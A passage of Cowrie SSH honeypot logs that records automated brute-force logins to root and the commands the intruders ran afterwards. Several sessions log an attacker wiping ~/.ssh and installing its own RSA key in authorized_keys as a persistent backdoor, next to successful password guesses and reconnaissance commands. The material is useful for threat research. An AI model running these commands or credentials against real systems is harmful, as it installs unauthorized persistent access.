'___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:04:33.768791Z","src_ip":"103.82.27.19","session":"0341151402f0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","size":2189,"shasum":"21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:04:34.077846Z","src_ip":"103.82.27.19","session":"0341151402f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:04:34.082628Z","src_ip":"103.82.27.19","session":"0341151402f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.25.32","src_port":47750,"dst_ip":"159.203.135.109","dst_port":22,"session":"e10833582a93","protocol":"ssh","message":"New connection: 103.63.25.32:47750 (159.203.135.109:22) [session: e10833582a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:25.895944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:25.900774Z","src_ip":"103.63.25.32","session":"e10833582a93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:26.151433Z","src_ip":"103.63.25.32","session":"e10833582a93","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"sinupret","message":"login attempt [root/sinupret] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:27.185753Z","src_ip":"103.63.25.32","session":"e10833582a93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:27.724551Z","src_ip":"103.63.25.32","session":"e10833582a93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:27.728474Z","src_ip":"103.63.25.32","session":"e10833582a93","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:27.732936Z","src_ip":"103.63.25.32","session":"e10833582a93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:27.987541Z","src_ip":"103.63.25.32","session":"e10833582a93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:28.524989Z","src_ip":"103.63.25.32","session":"e10833582a93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:28.528467Z","src_ip":"103.63.25.32","session":"e10833582a93","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:28.784368Z","src_ip":"103.63.25.32","session":"e10833582a93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:28.788765Z","src_ip":"103.63.25.32","session":"e10833582a93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.25.32","src_port":38360,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9e615b7e3b2","protocol":"ssh","message":"New connection: 103.63.25.32:38360 (159.203.135.109:22) [session: b9e615b7e3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:29.020993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:29.025808Z","src_ip":"103.63.25.32","session":"b9e615b7e3b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:29.268755Z","src_ip":"103.63.25.32","session":"b9e615b7e3b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:30.271861Z","src_ip":"103.63.25.32","session":"b9e615b7e3b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:31.517935Z","src_ip":"103.63.25.32","session":"b9e615b7e3b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.25.32","src_port":38368,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6517d68a062","protocol":"ssh","message":"New connection: 103.63.25.32:38368 (159.203.135.109:22) [session: c6517d68a062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:31.768796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:31.774835Z","src_ip":"103.63.25.32","session":"c6517d68a062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:32.025804Z","src_ip":"103.63.25.32","session":"c6517d68a062","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:33.062695Z","src_ip":"103.63.25.32","session":"c6517d68a062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:33.315323Z","src_ip":"103.63.25.32","session":"e10833582a93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:12:33.319822Z","src_ip":"103.63.25.32","session":"c6517d68a062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.52.95.38","src_port":57432,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab8962249b64","protocol":"ssh","message":"New connection: 67.52.95.38:57432 (159.203.135.109:22) [session: ab8962249b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:12.127069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:12.131311Z","src_ip":"67.52.95.38","session":"ab8962249b64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:12.259290Z","src_ip":"67.52.95.38","session":"ab8962249b64","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"CentOS123","message":"login attempt [root/CentOS123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:12.802989Z","src_ip":"67.52.95.38","session":"ab8962249b64","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:13.089546Z","src_ip":"67.52.95.38","session":"ab8962249b64","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:13.092502Z","src_ip":"67.52.95.38","session":"ab8962249b64","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:13.095247Z","src_ip":"67.52.95.38","session":"ab8962249b64","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:13.226042Z","src_ip":"67.52.95.38","session":"ab8962249b64","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:13.526655Z","src_ip":"67.52.95.38","session":"ab8962249b64","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:13.530078Z","src_ip":"67.52.95.38","session":"ab8962249b64","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:13.663618Z","src_ip":"67.52.95.38","session":"ab8962249b64","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:13.667777Z","src_ip":"67.52.95.38","session":"ab8962249b64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.52.95.38","src_port":57782,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c439af8840c","protocol":"ssh","message":"New connection: 67.52.95.38:57782 (159.203.135.109:22) [session: 1c439af8840c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:13.785563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:13.789660Z","src_ip":"67.52.95.38","session":"1c439af8840c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:13.915484Z","src_ip":"67.52.95.38","session":"1c439af8840c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:14.449928Z","src_ip":"67.52.95.38","session":"1c439af8840c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:15.578059Z","src_ip":"67.52.95.38","session":"1c439af8840c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.52.95.38","src_port":58132,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab474d6a872c","protocol":"ssh","message":"New connection: 67.52.95.38:58132 (159.203.135.109:22) [session: ab474d6a872c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:15.694854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:15.701837Z","src_ip":"67.52.95.38","session":"ab474d6a872c","protocol":"ssh"}
